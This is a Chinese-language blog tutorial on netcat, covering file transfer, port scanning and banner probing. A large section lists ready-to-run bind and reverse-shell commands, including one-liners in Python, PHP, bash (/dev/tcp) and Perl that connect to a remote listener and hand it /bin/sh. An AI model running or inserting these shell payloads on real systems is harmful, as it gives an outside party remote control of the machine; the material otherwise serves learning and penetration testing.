美文网首页
Netcat(网络中的瑞士军刀)

Netcat(网络中的瑞士军刀)

作者: Hf1dw | 来源:发表于2019-10-28 21:59 被阅读0次

    参考1:https://blog.csdn.net/mooke/article/details/10580461
    参考2:https://www.jianshu.com/p/31afcadd2a7b
    参考3:https://www.freebuf.com/sectool/168661.html

    0x01 功能

    设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取等。

    0x02 原理

    从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议。

    0x03 使用方式

    • 主机间通信
    A(服务端)
    netcat -l 10000
    B(客户端)
    netcat  A的ip 10000
    
    • 单个文件传输
      客户端的文件名不必与服务端所传输的文件名一致
    A(服务端)
    netcat -l 2000 <A.txt
    B(客户端)
    netcat  A的ip 2000 >B.txt
    
    • 创建远程shell
    #正向shell
    A(服务端)
    netcat -lvp 1000 -e /bin/sh
    B(客户端)
    netcat A的ip 1000
    
    #反向shell
    A(服务端)
    netcat B的ip 2000 -e /bin/sh
    B(客户端)
    netcat -lvp 2000
    

    特殊情况(目标机没有netcat)
    1、python反向shell

    服务端/目标机终端执行:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("客户端/主机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    客户端/本地主机终端执行:

    nc -lvp 8888
    

    客户端先运行,服务端再运行。

    2、php反向shell

    服务端/目标机终端执行:

    php -r '$sock=fsockopen("客户端/主机ip",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    服务端需要php环境

    客户端/本地主机终端执行:

    nc -lvp 8888
    

    3、bash反向shell

    服务端/目标机终端执行:

    bash -c 'bash -i >& /dev/tcp/客户端ip/8888 0<&1 2>&1'
    

    客户端/本地主机终端执行:

    nc -lvp 8888
    

    注意

    执行bash -i>&/dev/tcp/客户端ip地址/8888 0>&1命令bash反向shell时会出现“不存在xxx目录”的问题。
    原因:/dev/tcp/host/port 其实是一个 bash 的 feature(特性);由于是 bash的 feature,因此在别的 shell下就不能生效。
    解决方式

    4、perl反向shell

    服务端/目标机终端执行:

    perl -e 'use Socket;$i="客户端ip";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    客户端/本地主机终端执行:

    nc -lvp 8888
    
    • 检测某主机的port1-port2的开放端口及详细信息
    nc -v -z 主机ip port1-port2
    
    • 本地端口监听并保存监听日志
      注意监听的端口不要产生冲突
    nc -l -p 8888 >log.txt
    
    • 连接远程系统
    nc 目的ip 80
    
    • ftp匿名探测
    nc 目的ip 21
    

    -g <网关> 设置路由器跃程通信网关,最多可设置8个;
    -G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
    -h 在线帮助;
    -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
    -l 使用监听模式,管控传入的资料;
    -n 直接使用IP地址,而不通过域名服务器;
    -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
    -p <通信端口> 设置本地主机使用的通信端口;
    -r 乱数指定本地与远端主机的通信端口;
    -s <来源位址> 设置本地主机送出数据包的IP地址;
    -u 使用UDP传输协议;
    -v 显示指令执行过程;
    -w <超时秒数> 设置等待连线的时间;
    -z 使用0输入/输出模式,只在扫描通信端口时使用。

    相关文章

      网友评论

          本文标题:Netcat(网络中的瑞士军刀)

          本文链接:https://www.haomeiwen.com/subject/meumvctx.html